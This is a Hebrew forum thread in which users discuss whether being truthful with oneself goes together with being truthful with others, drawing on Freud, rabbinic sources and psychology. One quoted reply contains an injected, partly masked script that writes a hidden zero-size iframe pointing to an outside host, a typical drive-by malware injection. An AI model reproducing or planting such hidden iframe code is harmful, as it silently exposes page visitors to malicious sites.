| נשלח ב-6/2/2015 05:30 |
 |
| |
להיות אמיתי - בכל מחיר?
אנשים שאמיתיים עם אחרים אמיתיים גם עם עצמם, אנשים שאינם אמיתיים עם אחרים אינם אמיתיים גם עם עצמם.
האם זה נכון?
הכותרת תוקנה בהתאם לתקנות הפורום
תוקן על ידי עצכח ב- 06/02/2015 15:11:19
|
|
|
|
| נשלח ב-6/2/2015 15:09 |
|
| |
עע
ברוך הבא אל הפורום!
כדאי שתעיין בחוקת הפורום, ותראה כי משתתף חדש לא יפתח אשכול בלי לקבל אישור. האשכול שפתחת הוא מעניין, אבל אינו עומד בתנאים. למשל, מפני שהכותרת שלו אינה ברורה. אבל אתקן זאת עבורך.
השאלה שלך היא מעניינת מאד. האם להיות אמיתי עם עצמי ולהיות אמתי עם אחרים הולך ביחד?
כמובן, צריך להסביר מה זה "להיות אמיתי עם עצמי". לא לשקר לעצמי.
הבה ונתבונן יחד ונראה שזה כלל לא פשוט.
האם אני יודע מה אני? מה אני רוצה? מה אני באמת רוצה?
האם אין לי רצונות מנוגדים? פעם כך ופעם כך. ואפילו בעת ובעונה אחת. נניח שאני רוצה גלידה אבל אני גם בדייאטה. או שמישהו הכעיס אותי ואני רוצה לכעוס ולבטא כעס, אבל אני גם יודע שזה לא יעיל ולא ראוי. הכל זה אני, הרצון לדייאטה והרצון לגלידה, הרצון לכעוס והרצון להתאפק. אז מה אני באמת רוצה?
התשובה היא שאני יכול לבחור. שאני בוחר.
אבל האם אני תמיד מספר לעצמי מה האמת?
גם בעלי המוסר וגם פרויד, להבדיל, סברו שאדם מעלים מעצמו דברים. אפשר למצוא את הרעיונות האלו אצל חז"ל. יש דעה לפיה פתרון חלומות חושף את המאוויים הכמוסים בנפש או דברים אחרים שאדם מסתיר מעצמו.
ובכלל, האם עלי באמת לחטט בתוך עצמי כדי לדעת מה אני באמת חושב ומרגיש? כלל חשוב של פסיכולוגים העוסקים בסיוע נפשי הוא שלא לחשוף את האדם לחולשותיו ולדברים אמיתיים שאין הוא מסוגל להתמודד איתם באותו רגע. אמת לפעמים היא קשה ומאיימת ומזיקה.
כל זאת לגבי עצמי.
ולגבי אחרים - ברור שצריך להיזהר לא לשקר להם. לא להשתמש במידע חלקי או מטעה כדי להזיק להם או לקדם את האינטרסים שלי.
אבל לא כל אמת צריך לומר. למשל, מי שקנה מקח בשוק, ראוי לענות לו בחיוב על השאלה: האם בחרתי היטב?
כדי להתרחק משקר צריך לחפש מעלות בחפץ הנקנה, ולהסתכל עליו בעיני הקונה. אבל בודאי שלא צריך לחשוף אותו לאמת העצובה שהחפץ לא טוב. (כתבתי באופן כללי ויש לדון בכל מקרה לגופו).
האם יש איזו זיקה בין שקרים לעצמי לשקרים לאחרים? ובכן, גם אם נניח שאף אדם אינו מסוגל להיות אמיתי עם עצמו כל הזמן, או עם אחרים, אני משער שאדם טוב ישתדל להיות מה שיותר אמיתי עם עצמו ועם אחרים. כך שכן, התשובה לשאלתך היא שבדרך כלל אדם שמשתדל להיות אמיתי ינסה לעשות זאת בכל מקום - כפוף לגבולות ההלכה והמוסר.
וזה מוביל לשאלה נוספת: כאשר אני מגלה אמת לא נעימה לגבי עצמי, מה אני עושה אז?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-13/2/2015 02:17 |
|
| |
| מיימוני כתב: |  | לגבי עצמי.
ולגבי אחרים< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
האם תסכים כי בכול מקרה אין לשקר בנפשו לעומת אחרים, יכולים להיות מקרים כאשר יש לשקר לאחר כדי לא לשקר בנפשו?
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-31/5/2015 14:05 |
|
| |
ינוח הזכירני בתיבה האישית את הנושא הזה שלמרבה הצער נשכח למרות חשיבותו.
הוא אף הוסיף כמה מילים חשובות בנושא, ואם ירשני אעתיקן לכאן.
בינתים אני כותב לו מה שכתבתי גם בתיבה האישית:
סליחה שלא עניתי עד כה.
לגבי השאלה, אני חושש שלא הבנתי בוודאות. אני מבקש לתרגם זאת במילים דומות משלי ואם זה נכון, אז אוכל לענות.
האם אדם תמיד צריך להיות אמתי עם עצמו, מה שאין כן עם אחרים לפעמים יש מצוה דווקא לשקר, ולפעמים האמת הפנימית שלי מחייבת לשקר לאחרים. אם כן יש כמה כיוונים. התשובה הפשוטה היא כמובן שכן. שצריך להיות אמיתי עם עצמי. אבל יש כאן שתי נקודות. השניה היא שלשקר לאחר זה לכאורה חסרון עבורו ולכן עבורי. אם כי לפעמים זה חסד לשקר וכבר המציאו בפורום עבור זה את המונח "שקרים קדושים". לגבי עצמי, ובכן, יתכן שגם אני איני מסוגל לעמוד מול אמת עצובה. זה כלל פסיכולוגי שאדם זקוק להגן על עצמו ולחשוף את עצמו לאמת קשה לאט לאט. אז יתכן שלכל הפחות אני צריך לדחות את העיון באמת מסוכנת לעצמי לעבודה איטית. האידיאל הוא כמובן להיות אמיתי. אבל הדרך לאידיאל לעתים קשה ואפילו מסוכנת לבריאות הנפש. _________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
|
| נשלח ב-1/6/2015 08:26 |
|
| |
הפסיכולוגיה מאחורי שקר עצמי ושקרים לאחרים עמוקה מני ים כנ"ל.
אבל נראה לי שכשמדובר באנשים רגילים, אדרבה, אנשים שאמיתיים עם השני בד"כ משקרים על עצמם כדי שלא יצטרכו לשקר על כולם,
ואלה שכנים עם עצמם עוטים מסכה ומשקרים על העולם כדי שלא ייראה פרצופם האמיתי.
|
|
|
|
| נשלח ב-1/6/2015 12:19 |
|
| |
כפוי גיגית
ברוך הבא אל הפורום!
כתבת דברים מעניינים.
אני חוזר לראות אם הבנתי.
לדבריך יש לחלק בין יחידי סגולה לבין רובנו.
אדם שמתאמץ להיות "אמיתי עם הזולת" נאלץ לשקר לעצמו.
כאן אני שואל: היכי דמי? איך מדובר כאן? האם הכוונה היא למשל לפי דוגמא מן הגמרא, מי שרואה כלה מכוערת ורוצה לשבח אותה וגם לומר אמת, אז הוא משקר לעצמו שבעצם היא נאה? או, דוגמא יותר נוחה, כאשר מישהו שואל אותי על מכונית שקנה (נניח) ואני רוצה גם לשבח את הקניה וגם לומר אמת אז אני משקר לעצמי שזו קניה טובה ומרמה את עצמי?
ומכלל הן שומעים לאו. אם אני אמיתי ויודע שזו קניה גרועה אז אני משקר כאשר אני אומר שזה מוצלח?
וכן בכל מקום בחיינו?
האם זו כוונתך?
אם כן, מה עושים יחידי הסגולה? איך הם פותרים את הדילמה?
מעניין ליישם את הכלל הזה לגבי מקומות קשים באמונה. האם אדם מודה לעצמו שיש לו שאלות פילוסופיות? איך הוא מתמודד עם זה? מה המנגנון הנפשי ומה המנגנון הפילוסופי שמאפשר לו להמשיך לחיות לפי קו גם כאשר על הקו יש שאלות?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-1/6/2015 12:31 |
|
| |
מה המבחן לאדם לדעת, אם הוא מיחידי הסגולה או לא?
|
|
|
|
| נשלח ב-1/6/2015 12:51 |
|
| |
ירוחמ
צריך להיות אמיתי עם עצמו...
אבל את השאלה הזו יש להפנות אל כפוי גיגית. הוא זה שחילק בין רוב ליוצאי דופן. איני יודע מה יוצר את ההבדלה ולכן מי שייך להיכן. אני כן יכול לנחש, או להעלות השערות, אבל גם אתה יכול. סמיילי ירוק.
|
|
|
|
| נשלח ב-1/6/2015 21:02 |
|
| |
קודם כל תודה מיימוני על קבלת הפנים החמה,
ואכן, ניסחת את כוונתי בדיוק רב, אלא שלא התכוונתי אנשים רגילים לגנאי לאפוקי יחידי סגולה לשבח, כוונתי הייתה המון העם לשבח לאפוקי כל אלו שמשקרים כתוצאה מבעיות פסיכולוגיות אחרות.
כלומר, בני האדם מתורבתים סולדים משקרים ומאשלייה עצמית. והמציאות היא שבד"כ יצטרכו לבחור אחד מהשניים, כגון בדוגמא הנ"ל, חבר הרוצה לשמוע את חוות דעתך בעניין מסויים והנך רוצה לשבח..ואדרבא עצם השקר נובע מרצון להיות כנה. וזהו הפרדוקס של האמת והשלום אהבו יחדיו.
ויש אנשים שמשקרים על עצמם מחוסר ביטחון עצמי שנובע מילדות קשה, ויש שמשקרים על אחרים בשביל כבוד או כל מיני חליים רעים שגורמים לבן אדם לשקר.
מקווה שברור די צרכו.
|
|
|
|
| נשלח ב-1/6/2015 21:06 |
|
| |
ולשאלתך איך יחידי סגולה יפתרו את הבעיה,
אם נאמר שכל הבעיה נובעת משאלת האמת והשלום א"כ יוכלו לוותר על השלום
|
|
|
|
| נשלח ב-1/6/2015 21:24 |
|
| |
בראשית רבה (וילנא) פרשת בראשית פרשה ח
ה א"ר סימון בשעה שבא הקדוש ברוך הוא לבראת את אדם הראשון, נעשו מלאכי השרת כיתים כיתים, וחבורות חבורות, מהם אומרים אל יברא, ומהם אומרים יברא, הה"ד (תהלים פה) חסד ואמת נפגשו צדק ושלום נשקו, חסד אומר יברא שהוא גומל חסדים, ואמת אומר אל יברא שכולו שקרים, צדק אומר יברא שהוא עושה צדקות, שלום אומר אל יברא דכוליה קטטה, מה עשה הקדוש ברוך הוא נטל אמת והשליכו לארץ הה"ד (דניאל ח) ותשלך אמת ארצה
|
|
|
|
| נשלח ב-2/6/2015 01:57 |
|
| |
| מיימוני כתב: | | | האם אדם תמיד צריך להיות אמתי עם עצמו, מה שאין כן עם אחרים לפעמים יש מצוה דווקא לשקר, ולפעמים האמת הפנימית שלי מחייבת לשקר לאחרים. |
|
תודה.
כן הבנת, מה שרציתי לשאול.
הבנתי שהסכמת כי יכולים להיות מקרים כאשר יש לשקר לאחר כדי לא לשקר בנפשו (לא רק בגלל חסד, למשל במקרה מרגל אצל אויב).
***לגבי עצמי, ובכן, יתכן שגם אני איני מסוגל לעמוד מול אמת עצובה. זה כלל פסיכולוגי שאדם זקוק להגן על עצמו ולחשוף את עצמו לאמת קשה לאט לאט. אז יתכן שלכל הפחות אני צריך לדחות את העיון באמת מסוכנת לעצמי לעבודה איטית.***
לגבי עצמי, ברור לי כי אין לשקר בנפשו בשום מקרים וזה הכי חשוב שיש בחיים, דובר אמת בלבבו יהא לעולם.
האדם יכול להשלות את עצמו ולבגוד כאילו לא בוגד ולהישאר בחיים לעומת ייהרג ואל יעבור, כלומר יעבור וישכנע את עצמו כאילו לא עבר, אבל מה יכול להיות גרוע מזה, הרי זה גרוע ממות.
האדם יכול לדחות את העיון באמת מסוכנת לעצמו לעבודה איטית, אבל אם הוא לא משקר בנפשו שאפשר לדחות, אחרת זה נבזות אשר לא שווה לחיים..
אודה על המשך הדיון.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-8/6/2015 18:35 |
|
| |
אני אינני מאמין שאדם יכול להיות "לא אמיתי" עם עצמו. השכל הישר מכריח שאדם קרוב אצל עצמו, תרתי משמע - כלומר גם מכיר את עצמו הכי טוב, ולמעשה - מכיר את עצמו מכף רגל ועד ראש, וגם רוצה בטובת עצמו ולפיכך לא ייתכן ש"יטעה" את עצמו. אדם חש את עצמו לגמרי (ואפילו בזמן שינה), ולא יתכן שלא יהיה מודע למה שקורה איתו.
והא קחזינן שאנשים משקרים את עצמם ולא מודעים לעצמם?
שתי תשובות בדבר: האחת, שזוהי רק שפה. לאחר שההמון השתכנע שאנשים יכולים לשקר את עצמם, אזי הוא משתמש במושג "הטעאה עצמית" באופן שגור, רגיל וטבעי, ואינו חש בטעות. טעות בהגדרת פעולות נפש האדם, לא טעות של "הטעאה עצמית".את ההטעאה העצמית עצמה הוא לא חווה כטהטעאה, אלא שזה השם שהוא נותן לה מכיוון שכך לימדו אותו לעשות. ולמה בכל אופן הוא השתכנע שיש כזה דבר, אם הוא עד כדי כך מכיר את עצמו ובתוך תוכו יודע שאי אפשר לשקר אותו? מכאן לתשובה השנייה:
לאדם יש את עצמו, ומסביב לעצמו יש קליפה דקה של המפגש עם אחרים. המפגש עם אחרים מזמין את אפשרויות ההטעאה והשקר, ואז אחת מהשניים: או שהוא יוצר קליפה שקרית כדי להסתיר את מחשבותיו האמיתיות, וכדי להגן על עצמו מאשמת שקר, הוא קורא לקליפה דקה זו "שקר עצמי", לאמר: לא שיקרתי אותך אלא את עצמי, ולכן זו "לא אשמתי" שטעית. או לחילופין, אדם ששוכנע ע"י אדם אחר בעל קליפה שקרית כזאת, ואז כדי "להסתדר" עם העולם החיצוני, הוא מציג כלפי חוץ אמונה במה שאינו נכון וגם הוא אינו מאמין בו, אלא שלצורך התקשורת עם העולם הוא נזקק לטעון להרגשות ומחשבות אחרות מאלה שהוא מרגיש וחושב באמת.
אגב, גם תורת התת-מודע של פרויד לא התקבלה באופן מוחלט על כל הפסיכולוגים.
וכמובן, שבמקום שנקרא "עצור כאן חושבים", ראוי לבדוק בהגיון עצמאי האם אכן יש תת-מודע, ואם כן איך הוא מתמקם בכלל הדברים הנמצאים בראשו של האדם, ומה משמעותו.
|
|
|
|
|
| נשלח ב-8/6/2015 21:16 |
|
| |
| אליקים7241 כתב: | |
וכמובן, שבמקום שנקרא "עצור כאן חושבים", ראוי לבדוק בהגיון עצמאי האם אכן יש תת-מודע, ואם כן איך הוא מתמקם בכלל הדברים הנמצאים בראשו של האדם, ומה משמעותו. |
|
במסגרת הבדיקה האם יש תת מודע, ראוי לציין שלראשונה פרויד גילה זאת באמצעות צפייה בנוירולוג צרפתי שעסק בהיפנוזה, בהנחה שתסכים איתי שאכן בעת ההיפנוזה קיים מצב מודעות שונה (ולא סתם אחיזת עיניים), הרי לנו הוכחה לכך (כך לפחות חשב פרויד) שמצב התודעה אליו אנו חשופים הוא רק מצב אחד, וקיימים מצבי תודעה שאינם ידועים לנו. כמו כן קיימת תמיכה אמפירית רחבה לקיומם של מנגנוני הגנה שונים (למשל "הדחקה" – מצב בו אנשים אינם זוכרים חוויות מאיימות) המוסברים על ידי מעבר של החוויות מן המודע אל הלא מודע. מעניין שציינת ש"אדם חש את עצמו אפילו בזמן שינה". האם בזמן השינה אדם חש את עצמו באותה דרך בה הוא חש את עצמו בעירות? ברר שלא. המודעות לעצמנו בשינה שונה לגמרי מאשר בערות, אנחנו יכולים לראות זאת באמצעות החלום שמעמיד בפנינו מציאות שאיננה תואמת את זו של הערות. כמובן לפי פרויד החלום הוא שער נפלא ללא מודע. האם זה לא הגיוני? בכל מקרה לשאלת פותח האשכול, במידה ואכן קיים תת מודע, נראה לי שאנשים לעולם לא יכולים להיות אמיתיים עם עצמם, מכיוון שאנו מודעים לחלק קטן מאוד מהנפש שלנו (כידוע משל הקרחון שרק חלק קטן ממנו צף ומגולה והרוב שקוע ומכוסה במים), ולכן בזה אני מסכים עם אליקים שלא באמת קיים מצב שאנו משקרים לעצמנו, החלק שחשוף בפנינו - חשוף, והחלק שלא – לא. בקיצור, ניתן לשקר רק לאחרים...
|
|
|
|
| נשלח ב-8/6/2015 22:02 |
|
| |
אליקים
כתוב בתורה לא תונו איש את אחיו -עמיתו- זה הדין. אומר הרבי מקוצק לא להונות איש את עצמו זו מידת החסידות.
האדם משקר לפעמים לאחרים. אבל תמיד הוא משקר לעצמו.
|
|
|
|
| נשלח ב-9/6/2015 14:22 |
|
| |
פסיכולוג
אדם יכול לחלום ובתוך החלום להגיע למצב של מתח גדול - ואז בדיוק להתעורר. תזמון הרגע של ההתעוררות מוכיח שגם בזמן החלום האדם יודע מה קורה. זה כמו בעקדת יצחק - אברהם עושה הכל חוץ מאשר את הדבר עצמו. כך גם בחלום. ודאי שהאדם מודע לזה בצורה אחרת. אבל זה כמו שאמרו שבשינה הנשמה עולה למתיבתא דרקיעא, ומתיבתא דרקיעא - אליבא דמי שאמר את זה - הוא מקום מציאותי מאוד, אלא שאי אפשר לשים לב אליו בזמן העירות. לכן זה לא מצב של תודעה "אמיתית" ו"שקרית", אלא מצב של תודעה "רוחנית" ו"גשמית" (וממילא תבין גם שאני לא מקבל את הביטוי "עולם השקר" באשר לעולם הגשמי). אינני חולק על כך שאלו רמות שונות שקיימות בהכרתנו, אלא שלא הכרתנו עושה אותם לשונים אלא מהותם. מה שקורה במודע הוא אמיתי באותה מידה שמה שקורה בתת-מודע הוא אמיתי, אלא שהם לא יכולים לשכון יחד, בדיוק כמו שיד ימין ויד שמאל לא יכולות לתפוס את אותו מקום במרחב. זה לא בעיה מהותית אלא טכנית. לכן גם את כל הדברים כמו הדחקה וכו', הכל אני מפרש על בסיס זה. ולק"מ.
תוקן על ידי אליקים7241 ב- 09/06/2015 14:23:50
|
|
|
|
|
